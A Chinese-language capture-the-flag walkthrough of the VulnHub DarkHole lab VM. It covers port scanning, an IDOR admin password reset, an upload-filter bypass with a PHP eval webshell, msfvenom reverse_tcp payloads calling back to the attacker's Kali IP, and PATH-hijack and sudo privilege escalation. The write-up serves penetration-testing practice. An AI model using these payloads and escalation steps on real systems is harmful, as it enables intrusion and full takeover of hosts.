信息收集

  • 由于将 Kali 与 VulnHub 使用 VMware Nat 网卡进行了桥接,所以使用 Kali 去扫描靶机。
  • 首先查看 Kali IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.142 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::20c:29ff:fea4:774e prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a4:77:4e txqueuelen 1000 (Ethernet)
RX packets 75 bytes 15843 (15.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 594 bytes 45200 (44.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 扫描当前网段,发现靶机 IP 地址:
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# arp-scan 192.168.1.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a4:77:4e, IPv4: 192.168.1.142
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 00:50:56:c0:00:08 VMware, Inc.
192.168.1.2 00:50:56:f2:24:22 VMware, Inc.
192.168.1.140 00:0c:29:23:07:8b VMware, Inc.
192.168.1.254 00:50:56:e9:3a:b6 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.950 seconds (131.28 hosts/sec). 4 responded
  • 扫描开放端口:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.1.140
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-23 01:19 EST
Nmap scan report for 192.168.1.140
Host is up (0.00072s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:23:07:8B (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.73 seconds
  • 扫描端口对应服务:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# nmap -p 22,80 -sV 192.168.1.140
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-23 01:19 EST
Nmap scan report for 192.168.1.140
Host is up (0.00043s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 00:0C:29:23:07:8B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
  • 扫描出 80 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:

image-20231111112319492

目录扫描

  • 使用 feroxbuster 扫一扫:
1
feroxbuster -u http://192.168.1.140

image-20231111112329479

  • 发现了几个目录,找一找有没有可用信息:

    • config:有一个 database.php 文件,点开内容为空。

    • upload:有一个 d.jpg 文件,点开是张合照。

    • css:单纯的 CSS 文件。

    • js:单纯的 JS 文件。

垂直越权

  • 没啥用,回到主页随便点一点,好吧,只有一个 Login 按钮能点,迷:

image-20231111112337595

  • 这时候,一般会出现几种思路:

    • 口令爆破

    • SQL 注入

    • 注册登录

  • 经过简单测试,口令爆破失败不存在账号密码逻辑问题,也不存在 SQL 注入。

  • 那就简单注册一个账号:

image-20231111112344951

  • 注册成功,账号密码为:yongz/123456。
  • 登录一下:

image-20231111112350417

  • 页面非常简单,好像也没啥东西,不过查看 URL 发现有参数提交,怀疑存在 SQL 注入,试一试。
  • 简单试了一下,也没有,不过这里有个修改密码,抓个包看看:

image-20231111112353862

  • 发现出现了 id=2,这很有可能表示当前用户标识,而 id=1 就可能为管理员,因为可以尝试修改 id=1 的密码,修改为:admin。

image-20231111112357341

  • 猜测账号为:admin,尝试登录一下,当然这里使用 BurpSuite 跑用户字典也是可以的。

image-20231111112401045

  • 成功登录!

文件上传

  • 发现 admin 和普通用户不同,有一个文件上传功能,尝试一下上传木马文件:
1
<?php @eval($_REQUEST[cmd]);

image-20231111112407218

  • 发现只能上传图片格式文件,并且通过抓包发现不在前端进行校验,这时有两个思路:

    • 上传图片马,看看其他地方是否存在文件包含。

    • 上传一下其他格式文件,看看是否真为白名单校验。

  • 第一种不太可能,试试第二种:

1
cp shell.php shell.php3

image-20231111112414102

  • 发现上传成功,但是无法执行:

image-20231111112419993

  • 使用 BurpSuite 跑一下,看看还支持什么后缀:

image-20231111112423657

  • 发现都可以上传成功,经过折磨,发现 phtml 后缀可以执行:

image-20231111112427376

  • 使用 AntSword 连接一下:

image-20231111112431776

  • 经过简单的查找发现了原来的密码:

image-20231111112435355

MSF 上马

  • 由于 AntSword 的 Shell 功能不是很强,使用 MSF 的 Shell,生成一个 Linux/PHP 的马:
1
2
3
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.142 LPORT=4444 -f elf -o shell.elf

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.142 LPORT=4444 -o shell.php

image-20231111112451150

image-20231111112456739

image-20231111112504561

环境变量提权

  • 经过简单的查看,发现有三个可登录用户,现在的权限不够,需要提个权:

image-20231111112512831

  • 去家目录找一找,发现 darkhole 没东西,john 有:

image-20231111112521108

  • 其中 toto 有一个 root 的执行权限,执行一下看看:

image-20231111112526654

  • 发现执行 toto 文件返回一个 id 命令的结果,我们可以尝试利用这个特性,在本地编辑新的 id 文件,写入 /bin/bash,给执行权限。将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用 id 命令时就会优先匹配此路径下的 id 文件,运行 toto 文件使用 john 身份调用 id 命令时就会获得 shell:
1
2
3
echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH

echo $PATH

image-20231111112537301

  • 成功提权!

SUDO 提权

  • 刚刚我们在目录下发现了一个 password,查看一下:
1
2
cat password
root123
  • 发现 john 的密码,由于现在还不是 root 权限,简单查看一下发现 sudo 存在:
1
sudo -l -S

image-20231111112549484

  • 发现可以用 root 权限执行 file.py 文件,查看一下文件内容,好吧空的,写段 Shell 代码:
1
echo "import pty;pty.spawn('/bin/bash')" > file.py

image-20231111112554883

  • 提权成功~
  • 查找下 flag:

image-20231111112559123

  • flag:DarkHole{You_Are_Legend}